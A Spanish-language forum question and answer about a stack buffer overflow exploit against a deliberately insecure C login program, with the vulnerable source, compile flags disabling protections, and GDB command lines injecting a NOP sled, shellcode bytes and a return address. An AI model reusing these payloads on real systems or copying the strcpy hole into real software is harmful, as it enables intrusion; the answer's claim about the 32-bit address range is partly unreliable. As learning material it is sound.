Shellcode para buffer overflow no funciona linux m32

0

Lo que mi programa intencionalmente inseguro hace es verificar si un nombre de usuario coincide con una cadena específica copiando la entrada del usuario en un búfer y comparándolo.

He compilado el programa

cc -o real real.c -g -m32 -static -fno-stack-protector

He logrado llenar el búfer con código de shell y sobrescribir mi EIP con la dirección de retorno donde ocurre el desbordamiento del búfer para que se ejecute utilizando GDB. Pero un problema de segmentación sigue ocurriendo que no entiendo.

Incluso trato de incluir un printf %s para imprimir la dirección de mi búfer para asegurarme de que tengo la dirección correcta

#include <stdlib.h>
#include <string.h>

int checkUserName(int argc, char **argv) {
    char storedName[300];
    int pass = 1;
printf("%p\n", (void*)&storedName);

if(argc == 1){
      pass = 0;
printf("Nothing Entered");
return(0);
    }

else if(sizeof(argv[1]) > 20){
            printf("Too many characters.");
    pass = 0;
            return(0);
    } 
else if(argc > 1) {
      strcpy(storedName, argv[1]);
    }

    while (pass == 1) {
      if(!strcmp(storedName, "694449"))
      {
        printf("Username Successfull\n");
        return(1);
      }
      else{
        return(0);
   }
    }
}

int checkUserPassword(char *userPassword) {

    if(!strcmp(userPassword, "1994"))
{
      return(1);
    }

    else{
      printf("\nWrong Password. Exiting Program");
      return(0);
    }
}

int openBankAccounts() {
    char buff[5000];
    FILE *fp;

    fp = fopen("/home/parallels/RASS/bankAccounts.txt", "r");
    while (fgets (buff, sizeof(buff), fp)) {
      printf("%s", buff);
 }
 fclose(fp);
}


int main(int argc, char *argv[]) {

    int go = 1;
    if(!checkUserName(argc, argv)){
            printf("\nWrong Username. Exiting Program");
            go = 0;
            return(0);
    }

    while (go == 1){

      char userPassword[5];
      printf("\nPlease Enter 4 Digit Pin: ");
      fgets(userPassword, 5, stdin);

      if (!checkUserPassword(userPassword)){
        return(0);
      }
      else{
        go = 0;
      }
    }

  if(go == 0){
        openBankAccounts();
  }
    return 0;
}

CÓDIGO GBD

  (gdb) run $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')


  Starting program: /home/parallels/RASS/real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')
 0xffffce50

La dirección 0xffffce50 anterior proviene de printf. Soy consciente de que esta dirección cambia cuando se ejecuta fuera de GDB. También soy consciente de que más caracteres ingresados comenzarán a sobrescribir el EIP.

 Program received signal SIGSEGV, Segmentation fault.
 0x08048f1a in openBankAccounts () at real.c:54


(gdb)  info reg ebp eip
 ebp            0x90909090  0x90909090
 eip            0x8048f1a   0x8048f1a <openBankAccounts+29>

Ahora lo ejecuto desde el terminal primero, para que el programa imprima la dirección:

 parallels@ubuntu:~/RASS$ ./real haha
 0xffffcfb0

Y luego lo ejecuto con esa dirección:

 parallels@ubuntu:~/RASS$ ./real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284' + "\x70\xce\xff\xff")
0xffffce70
Segmentation fault (core dumped)

Como puede ver, la dirección de memoria que he insertado al final de mi entrada de python es la misma que la dirección impresa que imprime el programa. Lo que debería suceder es que el EIP debe contener esta dirección y ejecutar la instrucción en esa dirección que apunta al búfer que he desbordado con Shellcode. Pero ocurre una falla de segmentación que no entiendo. Todo tiene sentido

    
pregunta Dipz 03.12.2015 - 23:44
fuente

1 respuesta

-1

Es posible que esto no se relacione directamente con su problema de segfault, pero me doy cuenta de que algo se ve un poco inusual en su dirección impresa, es 0xffffcfb0, que no puede ser correcto, ya que está por encima del rango de espacio de usuario de Linux de 32 bits, en 0xc0000000.

No creo que debas imprimir tu dirección de esta manera:

printf("[%p]\n", (void*)&storedName);

Dado que almerrado ya es una matriz, puede usarlo como un puntero:

printf("[%p]\n", (void*)storedName);

Además, todavía no estoy tan seguro de si realmente se sobrescribió su EIP correctamente. Intenté ejecutar su código en GDB con un contenido de cadena modificado como se muestra a continuación:

(gdb) run $(python -c 'print "\xAA"*20 + "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"+ "\xCC"*284' + "\xDD\xDD\xDD\xDD")
Starting program: /home/user/real $(python -c 'print "\xAA"*20 + "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"+ "\xCC"*284' + "\xDD\xDD\xDD\xDD")
storedName: 0xbfffef80

Program received signal SIGSEGV, Segmentation fault.
0x0805c84a in memcpy ()
(gdb) info reg
eax            0xccccb939       -858998471
ecx            0x0      0
edx            0xbffff174       -1073745548
ebx            0x1      1
esp            0xbffff008       0xbffff008
ebp            0x0      0x0
esi            0xbffff318       -1073745128
edi            0xccccb938       -858998472
eip            0x805c84a        0x805c84a <memcpy+90>
eflags         0x10247  [ CF PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) bt
#0  0x0805c84a in memcpy ()
#1  0x0804f4b1 in _IO_getline_info ()
#2  0x0804f5de in _IO_getline ()
#3  0x0804f245 in fgets ()
#4  0x08048d0c in openBankAccounts () at real.c:56
Backtrace stopped: Cannot access memory at address 0xccccccd0

Durante el bloqueo, parece que el EIP no aterrizó en 0xDDDDDDD. Así que en realidad no obtuviste tu EIP correctamente.

Otra comprobación en tu cadena de entrada y me doy cuenta de que tienes la comilla simple colocada en el lugar equivocado en tu script de python, "\ xCC" * 284 ' Esto terminó su entrada demasiado pronto. Después de mover la comilla simple al final de la entrada, se segfault en el lugar correcto 0xDDDDDDDD, que es su dirección EIP insertada / deseada.

Pero, de nuevo, sigo sintiendo curiosidad por saber cómo surgió la dirección de destino de EIP que comienza con 0xFFFF ****? ¿No debería volver a la dirección de su código de shell que se encuentra en el espacio de usuario?

    
respondido por el wei 04.12.2015 - 00:31
fuente

Lea otras preguntas en las etiquetas